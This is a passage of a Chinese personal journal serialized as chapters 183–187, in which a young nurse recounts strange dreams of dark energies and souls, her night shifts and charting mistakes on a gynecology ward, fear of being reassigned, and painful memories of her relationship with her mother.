后再下一个场景就是有人带我走一个门，去了另一个地方，那个地方那个房间很奇怪。房间里面可能有很多东西，但是我看不懂。梦见了一个天使的样子的女孩，然后她的心在跳动，但是跳动的感觉很奇怪，可能她在向我求救。然后就是下一个场景是上班的时候的样子，最近的病人有点子多，上班的场景里是特别的害怕自己是招病人来的那种情况，就是那种感觉自己被什么东西锁定了的感觉然后就开始生病。这样子的情况就容易惹到鬼。但是如果是病人自己来。她是有情况她需要医生护士帮忙解决她的问题，那种就不会惹到鬼。也不知道怎么形容。反正就是那种好奇怪的感觉。梦境里的话我认为我没有那种招病人的体质。一般情况下是上班都是随缘。情况来了我们就处理。但是我也比较害怕就是自己的潜意识入侵别人的潜意识，然后本来一个很正常的人，在入侵了以后她就开始吃一些让她的身体不好不健康的东西，然后等到一定的时候她就生病了，要来看病。我感觉我有点子脑洞大开。想多了吧！但是这个世界是奇奇怪怪的。总有不同的角度去看问题。不要想那么多奇奇怪怪的事，一切顺其自然。
    然后就是下一个场景。那个是回忆到了一个视频里的，就是一个很精通穴位的人，武术好厉害，然后他打一个人的太阳穴，然后震破了人家的心脉，然后那个人就死了，那个人不是好人，是通缉犯。想到这个的话会感觉就算明白中医很好，很有用，如果民众都懂，然后他们也会一样打架斗殴怎么办？还不是一样的结局，换汤不换药的。不管以什么条件为主要的指导，还不是充满了欺凌，根本不可能每个人都喜欢这个世界。可是也有另外一种思想，我们不可能强求别人一定要做的怎么样，因为每个人的世界每个人的规则是不一样的。他来到这个世界有他能选择的权利虽然无论怎么选择都是充满遗憾和痛苦的，但是这是他自己的事，他能用心去选择的事，而不是被别人定义。科学是双刃剑，知识也是双刃剑，不在于知识而在于用的人。然后就是下一个场景，那不是梦境是一个奇怪的记忆片段。那个场景是一个发光的灵魂像一个宝宝一样的，然后它长到一定的时候，天空就出现了很多黑色的触角一样的东西包裹住它，然后慢慢的它的灵魂就死掉了。七情六欲？有可能吧！我也不知道。又想到了一个奇怪的事，小说里写过的，就是有一些世界是有灵魂的，然后我们这个世界可能它的规则就是这个样子的。而其他世界的意识开始入侵了，然后这个世界的意识就会死去。然后我们也不太明白，中医法术之类的他们是我们这个世界原来就有的东西还是另一个世界的意识入侵的东西。因为我根本看不懂不理解。也有可能我这个打针知识的也是入侵。所以不理解。不懂。想太多没有价值，和带给自己有益的东西。只能说我可能对很多知识带有恐惧感吧！一方面知道中医是好的。可是一方面它太深奥看不懂，可能也不是它太深奥了而是我这个年纪没有耐心没有时间去理解和学习这个东西，有期待它解决医务人员痛苦的能力，又有恐惧，一方面怕自己被淘汰，以后找不到饭吃。一方面又不想病人被折磨的痛苦。因为我们现在的班日子久了，大家都累，怕大家累出病。想到以前的老师讲的，她当了护士以后。那个年代没有那么多人，也没有那么多病人，护士医生的日子都很轻松，晚班的时候，一个病人也没有，然后看看电视，到了点就睡觉，一觉到天亮。然后工资虽然不多，但是可以好好品尝这个地方的美味。物价也不算高。现在的话日子就变得好奇怪。不晓得在干嘛！但是只能说尽人事听天命。不是我们能勉强的东西。

 第183章

    出晚班，不知道又梦到了什么。梦见了一个房间，然后妹妹过来看我，她抱了一下我的宝宝。然后梦境里是什么内容来着，不记得了，然后梦见一大团黑色的东西把妹妹叫走了，好像也不是叫了，而是很奇怪的黑色的能量，感觉很生气一样，但是梦里又不知道它生气。不知道是什么？梦里妹妹说她要走了。然后就一团灰色能量出去了，为什么她会是灰色的能量？梦里的妹妹很像我自己，某一个时间段的自己，她就躺在床上，然后抱着我的宝宝。搞不懂耶！
    然后还有一些内容就忘记了，但是看得到黑压压的能量。不知道什么情况。
    ——————————————————
    另一个晚班，我才发现我居然又到下一个晚班了。
    这个晚班的话还好吧！就是接班的时候来了一个病人。然后就是同事会拜托我帮她做一些事。她也是新来的护士，不过她在儿科很优秀已经单独上班了，新调到我们科。接了她的班之后就发现以前的自己真不是人。这个要补写，那个要重抄。真的很感谢她，发现以前的自己给同事添了很多很多麻烦。特别是接我晚班的。然后写病历。
    我以为是要和她在群里讲的。然后发现他们说要私底下说。为什么他们给我发消息都是在群里讲，搞不懂。后面十点多，忙完了我自己的事，我就准备把她要写过的写好来，没想到她居然晚上十点来科室说要补写病历，我的天啊，我的本意是提个醒而已，没想到人家那么晚过来了，她说她就住附近。然后到了凌晨两点的时候。发现还有一个术前交接单没有写，一般都是白班写。然后我就写了。和她提了个醒。然后发现药没有对。然后核对药，签名。来了门诊的病人，那个时候病人在做检查，然后等了一会儿她还没有上来，因为借了楼上的机子。要还回去，然后等还回来医生和病人都走了，所以以为门诊病人去拿药了，然后等了一下，她就没有回来。后来才知道她说太晚了想明天来。真的是谢天谢地。然后就是去观察术后病人的情况。因为晚班然后上午跟班，所以就喝了冰红茶，然后一晚上的感觉没有梦见什么，就是感觉有黑色的东西附体一样，在笑，很大的黑色的影子，然后他笑得样子很奇怪反正不是很舒服的笑。然后就测体温抽血画体温，之类的，做晨间护理。然后就是交班。交完班以后然后还有床头交班，就八点半，八点半过后还有一些需要重新写的记录。有一个字医生写的盆
    字特别像宫。然后盆腔黏连写成了宫腔黏连，然后需要重抄。腹腔镜手术哪里来的宫腔黏连，不晓得自己怎么想的。但是下次长记性了。早上的时候医生说停消炎药。然后本来应该所有的药都停掉，我就把其中一组停了，所以要记住。还好医嘱没有签的去，不然又要重抄，发现医生本来应该点两个点，画了一条斜杠。被她坑过几次以后长记性了，看清楚了。真好。
    后来回家了休息。听了一会儿释放负能量的音乐。我的梦里好像有人在叫我的名字，然后就流了一点点眼泪，然后就醒了到点吃饭，吃完东西，又睡了。后面下午再听了一会儿音乐。发现自己的状态还好，旁边有老公的弟弟一丝不挂。如果我的心情很烂，我就会脑子里不停的想骂他，今天还好，发现没有想骂他的感觉，毕竟他才五六岁样子，天气又热还没有怎么开空调。
    然后睡梦里的一个梦，不知道梦到了什么。感觉像一只灰蓝色的触手一样在从嘴巴里伸入一个人身体里，那个人好像一个眼睛里没有光的孩子一样，然后我打断了这个场景。然后就继续睡听音乐。我也不知道发生了什么。新闻又是很阴间的信息。真想屏蔽掉。

 第184章

    昨天晚上被摔了。自己骑车突然加速，然后路面好多沙子，刹车坏了，就猛的车子倒在了我身上，我想起来我起不来了。然后旁边一个女孩子停车，然后她帮我把车扶起来了。叫我好好休息一下再回家，然后她骑车走了。当时我还感觉有点子好笑。我以前看到人家倒地不起骑车，我都不敢过去。没想到会有人扶我起来。不过那个时候我怀孕了就是。
    然后后面就回家了。然后就叫我老公陪我去拍片。还好没伤到骨头。医生说大概四五天左右能好，皮肤大概需要更久的时间长好。他就给我开了碘伏和棉签。那种活血止痛之类的药都没有开。因为我说话比较烦，他可能懒得开。也许也不是。总之我也还是我这样子的患者。不知道怎么形容我这样子的人。
    那个场景倒地不起的样子。那个时候看到了一个更深一点的高维的人。他是一个发光的人，但是他的头好像受伤了，有一些黑色的精神力。在动。然后就感觉自己的身体被一个男性的灵魂夺走了，我感觉像我老公。然后回家了就在想一件事。我们结婚的时候他说如果我有外遇或者不喜欢他的情况，我就会断腿。然后我就说他也是，不过想的是他会断腿。不知道为什么就想到了这个。
    然后又想到了一个亲戚他妈妈走的一条路，他爸爸已经过世了。他妈妈找了第二个男的，但是听说她特别的不走运，然后就在那个男的载她的时候，腿被人家车撞断了，那个骑车的男的确没有半点事。然后就突然相起了她的路，她的路上有一团黑色的影子。可能是已经过世的人的灵魂？不晓得怎么回事。
    因为这两天刚好月经。月经期我会想起我的第一次喜欢的人，然后月经就会流的很顺畅，人特别的舒服。然后到了这个时间点，我会尽情的想，反正过了这段时间我会忘记也不记得喜欢他的感觉。这是很奇葩的一件事。然后骑车的时候就拼命的想他。反正这都是正常现象。过了就好了。有的时候我也幻想这会不会意味着对方会是自己的真命天子之类的，但是这是想多了。我能做的只有这样，多前进一步整个人都不太舒服。不知道为什么写到这里会哭哦？如果他会是另一个世界的自己，那他应该和我一样，越喜欢一个人，那个人就会越倒霉。也许吧！
    最近的梦里，梦见自己是一个白色的孩子在对人说着一些什么。就像把我曾经对他的喜欢像笑话一样讲给别人听。讲的时候她很开心，她应该是另一个我吧！我也确实很可笑的。我也许开始从心里放下了吧！
    我喜欢他的话，会对我的原生家庭产生怨恨的。怨恨他们不让我继续上学，怨恨他们没有给我提供机会。怨恨他们不够爱我。所以我选择不喜欢他。我的家庭能给我的条件就只有这样子，再多的也没有办法。因为我们家有好多孩子，又不只有我一个，就算我身为家长，我也不可能毫无保留的只对一个孩子好，其他人又要一碗水端平。端平好累，家里也没有那个条件。可是就像那个心理老师讲的。我需要把对父母的恨流出来，流出来整个人才有生命力。一直存在于心里，潜意识里，我就会不断的不舒服。可是我并不会也不知道怎么去流出来。我该怎么流动又不伤害我的父母？
    我一点也不想回去，因为我基本没有假。现在好了腿一受伤假是必须请，然后行动不便。动不了。这段时间还有好多考试，操作理论之类的。
    昨晚的梦，搞不懂梦见了什么，梦见了一团黑色的东西带我去了一个地方，梦里我是白色的小孩子。然后就突然醒了。然后一闪而过。然后下一个场景，梦见了一个病人，医生叫我给她抽血，然后她整个人都是黑色的，后面就梦到了那个高血压的妇科病人，她说她做过很多手术。特别的吃亏。梦里面她的身体后面有一个黑色的球一样的东西。我也不知道那是什么。后面从她的房间出去的时候，我想对于我们医务人员来说很感谢你，加深我们的学习，作为人类来说，希望她健康起来。毕竟发生了很多无可奈何的事。梦里从房间出去的时候看到了一个灰色的小孩子。我感觉她是另一个世界的我自己。
    上次在家里，上晚班很疲劳，下完晚班，就会在家里躺着看小视频，看的累了就睡觉。然后时间长了，我感觉到了她的存在，然后说我又躺着看视频，我不知道这个孩子是家婆还是宝宝。她们身上的另一个我自己？搞不懂。反正那一定是我自己。不管它，奇奇怪怪的那么多事。
    梦境里其他的事忘了。没印象。

 第185章

    长打电话说我出的错误太多了，她可能会选择把我退回护理部。本来没有那个病人要起床去厕所的事，还有一些其他的事。她们是感觉我还好的。不知道为什么会出现这样子的情况。所以可能要退回去了。
    真难过。
    我其实不是想退回护理部，退回去了我可能一直在导诊台，可是我并不想一直在导诊台，其他地方还更不适合，我的头脑比较简单，简单到很多东西都想不明白。
    人际关系又不是很会经营。老是会得罪人。做一些奇奇怪怪的事。好烦恼。
    能够让很多人喜欢也是一件本事，这种事我能懂，但是我做不好。
    十有八九会退回去。来的时候就知道，因为感觉到了黑色的能量。一开始就有很伤心的感觉。我也只是再去经历这个过程而已。在过程中学到了很多东西。比如带我的老师副护士长她的心思比较细腻。一般都是很温柔的对待别人。哪怕是自己心里不是很喜欢的人也是很温柔的对待别人这样子做的好处就是不容易得罪别人，这是我很羡慕的能力，但是我没有。然后第二个就是和领导的亲戚相处。这是我最不会处理的事情，领导的亲戚来科室住院，他们都处理的很好，唯独我并没有体会到精髓，所以不好办事不容易被人喜欢也是经常的的事。而且还容易得罪人。我不知道我的头脑为什么那些人会出那么多错误！可能我不太适合！
    那天老公说我比较死没用。因为他也感觉到了我的状态。我并不是很想离开临床岗位。没办法我就是这么辣鸡。换了好多个科室了，都没有做好。好糟心的状态。
    专业知识其实并不是很扎实。虽然去年还是前面刷题很好，但是其实专业妇科的知识不是很懂，而我工作之余又并没有说在看书个复习。虽然工作非常的非常繁忙，但是时间过得很快，她们确实很优秀。官方的是这样子，不官方的是压力确实大。我也确实没有努力用功。精神上疲惫都去刷小视频了。融入妇科集体关系，我后面并没有进心。
    然后工作能力一般般。工作能力没有别人那么干脆利落。虽然做的事很简单，但是做事不麻利，然后出了好几个很大的事，看起来写出来可能像小事，但是在执业生涯里是很大的事。
    在病人眼中我不够专业，态度不是很好。说话比较死板。不够亲切，虽然用心去改但是效果并不算很好，然后交班，晚班交班比较啰嗦，抓不住精髓，师傅领进门，修为在个人。然后不会独立思考。最重要的是这个问题，基本上都是复制老师的工作方式，没有自己独立思考后的工作方式。这是很大的问题，情况有很多种，没有千篇一律得模板。做事一板一眼很多东西都要随机应变。这个优点我没有。
    我并不会独立思考，我想知道为什么我是这样子的？能不能和自己好好的沟通呢？
    我腿摔倒了，被迫请五天假但是我也知道我并不想请假，但是没办法啊！科室里缺人。而且这几天又有考试，请假了以后我还要补回去，还要扣钱。我又还不会上主班，不然腿受伤了我就去上主班也行，这个班还没有学会。智商又不在线。人际交往其实都有计划，但是计划了又不去执行。我很想知道我不执行的原因。
    无奈。

 第186章

    好多好可爱的裙子好想买啊！可是不舍得花钱。给我老公买了两件十块钱的t恤，给自己买了一条二十块的裙子。真的是穷啊！逛淘宝的时候发现了粘土，好漂亮的摆件，我也想要一个。可以选择自己做，然后我大概率不会吧！我差不多是这样子，很喜欢一件东西，买到了就开始不喜欢甚至是很讨厌。如果很喜欢一件东西，不买，那么就会很难过很难过很久很久。如果很喜欢一件东西延迟满足一年或者两年，那么就会买。买到了开心。可是只要是自己喜欢的，就一定会买，并没有什么延迟满足了，就会过了一段时间就选择不买。所以要么不花钱，要么花一堆的钱。感觉自己不会思考。
    我好想买一个画板。天天给我推送这样子的画画的信息，搞得我都有点心动了。
    我需要做的东西很多，有很多题目需要我做，有很多的书要看，可是现在的我一点都不想看。
    结婚了以后我变了很多，结婚以前我也不喜欢看书和学习的，可是我会逼着自己学，结婚以后，我不知道怎么就不会逼着自己学了。懒懒散散的。专看小视频，这样子的我在享受小视频，带给我的快乐。感觉也还好。
    可是我心里又会有评判，认为自己不够好，没有认真对待工作和学习会认为自己很糟糕。边看就会有愧疚感，可是愧疚感又并不会给我带来各种收益。下次我也要买奶茶续命了。
    如何才能处理好各种各样的关系，如何才能学会好好说话。
    我比较笨比较傻比较二。我也不想承认这一点，可是事实就是这样子摆在这里。它让我无力反驳。无法躲避。
    我该怎么样调整自己的状态？
    我不太想攻击别人。潜意识里，可是我该如何防止别人的心理攻击。
    身体并不是我们控制的。我们只有一个意识在这里。很多东西都不是我们能够控制的。我该怎么样让自己的状态更好？
    今天看了几个黄文，其实没有感觉到对方的奇奇怪怪的感觉。我感觉作者写的脑洞好好哦！写的是小说里男女主，然后他们在剧情以外的生活，他们被作者的文章太监了，然后没有办法转型。然后在小说空间生活，比较有意思吧！，小黄文女主后来和清水文男主在一起了，特别是清水文男主那种只和自己喜欢的人在一起的感觉。真的写的好好啊！然后把小黄文女主拐到了清水文当女主，然后特别容易被警报。挺有意思的！好好看！
    还看了一个冤家路窄然后不小心奉子成婚的短篇小说。有点子搞笑。反正看完心情很好，而且是黄文类。1V1的还可以。甜文。位面码字群我不知道为什么没有心情看。总点点不开。这个小说也很好。会讲很多的道理，看着看着不知不觉就懂了。文字是有力量的，特别是对创造了文字的神明的形容，挺有意思的，然后一本小说会形成一个世界。非常的精彩。然后也让我感觉到了自己和一个专业作者的差距，我只能算小打小闹。玩一样，毕竟我其实是一个没有什么灵感的人，就算有也是很多的负能量，然后就算有很多很好的灵感，我也会不停的否定自己，认为自己脑壳不太正常，然后就没有然后了，继续抑郁一段时间，就是这样子生活的节奏。
    我也不知道为什么我会有这样子奇怪的生活状态，为什么要去选择这样子的生活状态？有病，可是病因是什么？
    我最近总记起自己小时候看过一个侠客行的电视剧，然后看完了以后自己的内心的小宇宙，就有很多很多的想法，在我的世界里侠客行的故事会这样子这样子。。。然后一个人会自言自语，好像自己就是一个行侠仗义的人在做这样子的事一样，但是在周围的人看过去，就会感觉这个孩子有点不正常，一个人手舞足蹈的。后面我发现弟弟他也是这样子，也是这样子被挨骂的。看了动画片或者电视剧，仿佛自己就是主人公正在经历主人公所面对的困境，然后如果我是主人公我会怎么解决。在以前看的一本头脑风暴的书里是这样子写的，随便拿一本小说，然后看看开头，然后跳几页，然后再看，然后就去想象那些没看过的内容联系想象起来，然后再看，再想象，然后慢慢的学会写文，就可以好好的锻炼自己的思维能力。可是我并没有怎么用过。我看书像书呆子，看完了就是看完了就算是跳着看，我也没有想象过里面的内容该怎么写，很高兴我能记住这些方法。但是遗憾的是我并没有选择如何使用它。我也不知道为什么我没有选择使用。我知道很多事情的方法，然后也知道书里面可以找到正确方法让自己更好的。那条路的方法，可是我并不想选择走这条路。我也不知道为什么我不想走这条路。因为我心里没有感觉到快乐，开心意义，所以懒得去学习让自己更好的技巧。方法之类的网上可以搜的到。可是这件事对我的意义是什么，快乐是什么，这些内在核心的动力我却不太明白。怎么想都想不明白。为什么我就是不明白？为了钱为了生活所以我们需要这样子做选择，等我长大一点，再年老一点。我就能够理解这样子做的意义，不会很难受吧！也许吧！
    我怎么塑造我自己。我已经快三十岁了，其实我还有几年，还没有到三十，可是我总是会把自己想的老一点，而我做事又很幼稚，等我老了，被人说做事可爱，其实会是一种可悲吧！这是在某一些地摊文学上看到的作品，小时候看的印象深刻。然后最近看了一个动漫。思维颠覆。不记得是不是这个名字了，没看完，就看了一点点，大概的意思就是一个孩子，他妈妈很抱怨，然后那个孩子的精神空间里妈妈就有好多的嘴巴，不停的讲话，然后她的心在想死，她的孩子就会撞在哪里受伤。然后有两个心理医生，帮那个孩子构建一个美好的心灵世界，但是后面的我看不懂了。要把痛苦的东西丢到谷里，美好的期盼与理想丢到山里，而且要学会把自己的山和谷藏起来，这是我不太懂的。我也有了自己的宝宝我知道我们大人因为工作心里面负能量很满的时候，宝宝会哭闹，会容易生病之类的。或者我很难受我会影响我老公的情绪。我老公很难受，他的潜意识也会影响我的情绪。但是我不太能理解。我该怎么化解呢？
    面对别人的情绪我很难受。又不知道怎么讲。我好像听，但不能说，说了就不好，可是听了又会影响自己的心情。就像一个老师，他很生气自己的工资好低，我也不知道他的工资有多少，他可能有房贷，然后还有孩子读书的学费很高之类的，我感觉是这样子，然后他很生气。然后还有的同事会说自己想要在门诊上班，因为住院班不好上，几乎天天都被批评，可是这也是不好讲的事，听听就当耳朵放了个屁过了，但是这些都不能自己说出去的东西，可是他们的负能量传过来了，一直在自己的潜意识里储存。好难过。搞得我也好难过，如果别人的状态不好，那么我会跟着不好。其实他们需要的并不是我跟着不好，然后再让他们对我生气，人家也只是说说而已。道理我明白，但是我不明白我的潜意识为什么会会这样子做？
    这个世界上不可能每个人上班都很开心。我不需要为他们的不快乐买单。做好自己的事就可以了。可是我被影响做事了，状态不是因为自己不会做事，而是容易被影响。我该怎么让自己不被影响。
    最近的想法也是千奇百怪。突然会认为我被父母卖掉了。每次想起自己的原生家庭就会产生这样子的想法，但是这是我自己选择的。可是内心还是会有很多得愤愤不平。可是我并不想去伤害我的爸爸妈妈和爷爷奶奶。毕竟重新来到这个世界我还是会选择他们作为自己的父母。他们给不了我最好的，但是他们给了我力所能及的最好的了。很多东西都是要自己去争取。我的亲戚说我是被爷爷奶奶宠坏了。其实我没有感觉我受了很多宠，我只是相对于他们更听话一点，然后也真心欣赏爷爷奶奶的优点。所以我一直挺听话的，也不去反抗什么。听话其实也是一种叛逆。而且很像报复性的不思考一样。我认为。其实我也不懂是不是这样子。
    我以为人从很艰苦的环境里生长出来，人的内心会变得更加坚韧不拔。更有活力，所以我也在追求这样子的生活。但是真实自己去体验的时候，并没有那种感觉。只有更多的痛苦不堪。
    我的思想错了吧！
    我选择的学护理，其实我以前在我的日记里也是这样子选择的，可是等我去学习的时候，发现自己不适合这个职业，然后我也没有办法去改变这个事。后面实习了考完了试，然后找工作的时候也选择从事这个行业。因为小狗钱钱里说过，我必须去选择我所拥有的，我只拥有这个。然后后面的人生，我工作了，技能不算差，但是表现出来的样子就是脑子不太好使，我也不知道为什么脑子会不好使。其实又没有什么？但是找不到原因。就像一个故事一个女孩子很优秀，但是她去面试的时候一个很好的工作岗位，她就是会突然面试不成，然后有了好几次的事情发生，然后她去看心理医生，后面发现是因为自己小时候母亲的状态不是很好，然后过的苦之类的让她心里产生了一个念头，就是不敢过的太好，以免背叛了母亲。这个原因真的想都不能想。
    而我的是什么呢？我妈妈会因为面对事情感觉到好大的压力，然后她面对压力很大她会宣泄到我的身上，过后一下子她又会突然对我很好，然后到了压力报表以后再骂我，然后再好，就这样子，和她讲道理讲不通，可是这也许是我把她塑造成这样子的呢？对不对，我就像把我写死的小说作者一样，有那种能力可以控制她的行为，然后导致她生气，反弹到我这里？？？这也不是没有可能，对不对，怎么别人不骂，她就骂我？因为我给人的感觉很安全？后来我就对妈妈降低了期待，然后我就好受多了，但是我还是没有解决我对我妈妈的一些负能量。多打打电话，我根本不知道我要和妈妈讲什么，我感觉讲什么都很无聊，很奇怪，我总是无言以对。这是我的错，我想不到什么？我的脑子没有去用心想事情！
    我对我妈妈有一件事的抱怨，她老是会说我们在那个她打工的宿舍，我说过那个豆角要煮熟来，我们以前的学校听说有一个女孩子吃了那个洋豆角没有熟然后就中毒死掉了，我就和她说过这么一个事，然后后来的几年她一直都在讲这个事，因为我叫她煮熟的是普通的豆角。她就说我说错了然后搞得她那段时间根本没有买豆角吃。这是一个很简单的事，但是不知道为什么，她每次说这个事我都不回应她。她的意思是我错了。我那个时候的意思也确实是讲的是洋豆角，但是我叫她普通的豆角也煮熟来吃。她讲过好多次。我不知道怎么回应她，我看得到她说这件事我心里面第一反应是不耐烦。但是我没有表现出来而后的几年里她就讲了很多遍这个事，意思就是我错误。我也不知道她揪着这个事不放是为什么？我有错很正常啊！人本来就是没有十全十美的人。而且我的经验和经历并不比她丰富。但是我并不知道她为什么总揪着这个事不放，这个本来是一个很简单的事，我只是分享一个我同学分享给我的事，后面就被挑字眼说我错了。我感觉很委屈，所以我没有什么可以分享的事给她，分享给她了会说我错误。每次揪着不放特别在很多人的时候不停的讲。以前她打工，她打了电话给我，我听，后面她抱怨我没有打电话给她。说我没有良心。然后我也不晓得说什么？我后面大一点的时候，我不太愿意和她在一张床上睡，因为我怕我待在那里她又会因为我而骂我不开心不愉快。后来她更不开心了，说生了我一场，她回家居然女儿不愿意和妈妈一起睡，然后说没亲，然后就和外婆那里讲了，又和很多人讲了，说我不孝顺。后面很多次去河里洗衣服，好多的阿姨好像听到了那个事一样，也有可能是偶然就说自己的孩子和自己可亲了，她每次回家她儿子都会和妈妈一起睡觉。明嘲暗讽的感觉很明显。我只能愣愣的看着他们。我那个时候不知道什么感觉，后面去了外婆那里，外婆问我为什么回家了不和妈妈一起睡。我说我怕黑。
    我记得那个时候的我可能不算大，然后我妈妈她买了葵花籽，我很想吃，然后她说是要给舅舅吃的，他们做客的时候会来的。那个时候家里又没有多少钱。后来我闹了一下子，后来妈妈很生气的语气说我是算计她钱的鬼，巴拉巴拉的，我后面不记得了，就出去了。我不知道我面对妈妈是什么感觉。我感觉她可能很难受吧！所以对我对小时候的我比较凶？那个时候的我很难受很难受吧！但是和她也没有什么关系，为什么她都和我说明了情况我还闹呢？对不对？本来那个时候条件就不算很好，一般果子之类比较好一点的东西大家都是舍不得拿出来自己吃，一般都是做客的时候就端出来。那个时候的我没有懂那个理。后面有一次奶奶说叫我叫妈妈盖房子，我对她根本讲不出话来。我不敢对她提要求，我一般就是说奶奶叫你盖房子。后面没有讲了。奶奶说不要这样子讲。后面等我很大了，弟弟长了很高了，也不算大的时候，奶奶叫弟弟对她说叫妈妈盖房子。那个时候弟弟是说妈妈我们盖一个属于自己的房子吧！好像是这样子讲的，她同意了。那个时候我愣了一下，我也不知道我在想什么？可能什么都没有想。我记得我和她说的那次我也还小。她不是这样子回应我的。可是这又不是我能决定的，对吧！我是否有不开心郁闷，愤怒的情绪？？我没有感觉，它可能藏在了潜意识里吧！
    我妈妈生下我的时候，外公说我比较衰，命不好。后面她骂的话，我也不知道她是不是外公骂过她，所以她骂我也是这样子。我不理解吧！我的命运我也不知道是好还是不好。我的一生都在治我的童年阴影。可是我并不想学习心理学，哪怕我把书买了，就在那里，书店也有很多的内容，可是我不看，每次我看我的内心都很沉重的感觉，压的喘不过气的感觉。我也不知道为什么。也许我并不想好起来，因为好起来，万一我很优秀怎么办？我就是这个有问题的状态才不会显得我把别人放弃了不合理？如果有一天你很喜欢很喜欢一个人，很爱一个人，可是没有办法去克服自己天生的自卑感，去面对自己的真实情感，去面对自己的不安全感，那么我希望我有病，哪怕我没病都希望我看起来有问题，而可以去影藏自己想要隐藏的感觉。也许吧！也许是这样子？可是我还是没有找到根本原因。我并没有豁然开朗的感觉。说明这不是真实的原因！

 第187章

    昨夜的梦，梦里面很多很多女性的灵魂对我说她们要去阴间了。梦里好多灰色的灵魂。不知道为什么我没有那种可怕和害怕的想法。好多好多的灵魂。白天醒来的时候想到这个很想哭，可是又在笑。很难受吗？我也不知道什么感觉。
    不知道为什么想起了我妈妈。妈妈很小的时候对我说我是她生的，我应该是向着她的。但是我那个时候也比较小四岁的样子，我听到了却不明白这是什么意思？我的记忆里的妈妈，奶奶说她很笨，她很没有用，只要她在家奶奶的状态就像奇奇怪怪的一样，妈妈没有在家的时候奶奶是一个比较好的奶奶。所以我也搞不懂他们。那个时候奶奶对我说妈妈学不会缝纫机。她和爸爸去学过。她给我做了一件衣服，其实那件衣服挺可爱的，可是我并没有办法开朗的去称赞她。我记得那个时候我看到了一团黑色的能量，说你怎么可能学会这个？小时候的我她给了我一些手环，是她编织的，她说她的工作是这个，那些手环很漂亮。可是小时候并不是喜欢也没有讨厌。就静静的待着。奶奶说这个没有什么钱。后面妈妈又换了工作，是做耳环，妈妈做的耳环很漂亮，有一对很好看的耳环她送给我，我一拿到手就很讨厌，很厌恶的情绪，后来我妈妈就离开了家里又去打工了，过了很久，那个耳环我带了起来，很好看，我很喜欢。可是后面我又把那个耳环放到了抽屉里，再也不带，后面那个耳环就坏了。我好像一直都是这样子。我不知道我怎么回事。她买过一串珍珠项链给我，那个塑料的，但是很好看，后面我一看到它我就讨厌，然后送给了邻居的一个妹妹，那个时候我记得哭的好伤心，好伤心。哭完了之后就轻松多了，可是之后又变成了挑剔她，觉得她做不好的样子。我也不知道为什么会这样子？为什么她一回到家我就会变得那么奇怪，她没有回家的时候我都是一个很正常的一个人，看书看电视，和别人玩。
    我可能心里好恨她吧！因为她去了很远的地方打工。一年才见一年，每年过年的时候一看到很开心，后面到了第二天的时候，就不停的在骂我批评我。而且她回来了我的状态就像进行了智减一样，感觉自己没有智商，出的错是奇奇怪怪的，稍微有点脑子都不可能出的那种，然后我就被骂。我讨厌被责备的感觉，如果是正常的被责备的，那还好，可是这种就像中了魔法一样，然后出的事很奇怪。后面长大了越来越长大了，我就没有期待过她回家了。也没有不期待过，没有想念也没有任何的想法。反正日子就这么过，过着过着就没了。来了又会走。她回家了很自然的去做家务，我也会去帮忙，不过我感觉我帮忙，帮她做家务的时候，做出来的事真的是做的不算好的那种，因为我和奶奶一起做事的时候，我感觉和她一起做事我的状态是不一样的。
    想到了一件事。那个时候妈妈还没有回家，快回家了吧！我们家的狗没有了狗碗，那个时候它其实有一个饭盆的，就那天就不知道为什么没有了。问奶奶，奶奶叫我拿一个果盘去，后面我拿了一个果盘去。后面妈妈就回来了，那个状态家里有点子奇怪，后来妈妈看到了果盘在狗狗吃饭那里，她就好不开心，很生气，说自己的嫁妆被奶奶用来喂狗了。她出嫁的东西有很多对她来说都是很珍贵的，外公给妈妈置办的，妈妈也很珍惜。一直都放在房间里根本没有用过。我记得小时候我喜欢爬来爬去的然后就看到了柜子的上面有很多盆。然后奶奶需要用东西的时候，问她可不可以用那里的盆，她愣了很久，奶奶那个时候需要盆，可是却并没有选择用那个盆。我没有懂，后面发生了那个事，才明白那些东西是妈妈的嫁妆。
    妈妈说过爸爸曾经一百块一个月的工资，然后她刚嫁过来的时候，没有鞋子穿问爸爸，然后爸爸对奶奶说请奶奶给妈妈买一双鞋，然后奶奶说爸爸才一百块一个月的工资。那么没用。后来爸爸就很生气，不去上班了，可是他们那个年代。我家公说他的工资在那个年代才五十一个月，我爸爸他考的单位还是分配的单位有一百我觉得挺不错的，后来他不去，爷爷也请了很多人给他开导后面爸爸就是选择不去，爷爷奶奶怕浪费那个名额就花了六千块钱把这个工作买下来给了姑姑，妈妈很生气，因为她认为这个工作应该给她而不是姑姑。姑姑也很生气因为她本来想要去深圳打工之类的，可是愣是被困在了那里。这是姑姑自己讲的，可是我也不清楚这是她的真心话还是假的。因为我分不清。因为妈妈上学只上到小学，姑姑上到完了初二。后面妈妈说她带我到五岁的样子她就去深圳打工了，她说要给我买很多的糖。我记得她买过糖给我吃。不过不是我期待的味道。我接到她的东西就是没有感觉，没有味道，过了两天再去吃才感觉到甜和好吃。我也不知道为什么。
    她没有在家的时候爷爷奶奶对我很好，他们的精神状态很好，后来她要回家了，爷爷奶奶的状态就像脑子被什么附体了一样，状态不好，然后我依赖妈妈，妈妈说我又不是她一个人的女儿，你要去问你爸爸，问你爷爷奶奶，爷爷奶奶那边说我并不是他们的孩子，你应该问你的妈妈。然后我就静静的做事，没有什么想法。这样子的情况发生了很多次，很多次。每次想要去依赖一个人的时候，没有人可以去依赖，可是我也说不出什么？好像大家都没有错，只有我一个人存在就是一个错误一样。后来学会了靠自己，可惜靠自己也是不行的，靠自己会被打压不停的。反正不管怎么选择都会有不好的地方。后来就放弃了。就像现在的家里一样，家婆让弟弟去选择和他们一起出去还是待在家里，然后没有回应，就一遍一遍的问，一遍一遍问到弟弟选择和他们一起出去为止，如果没有回应就边打边问，看似有的选其实没得选。不管我这边的家还是老公这边的。都一样的。
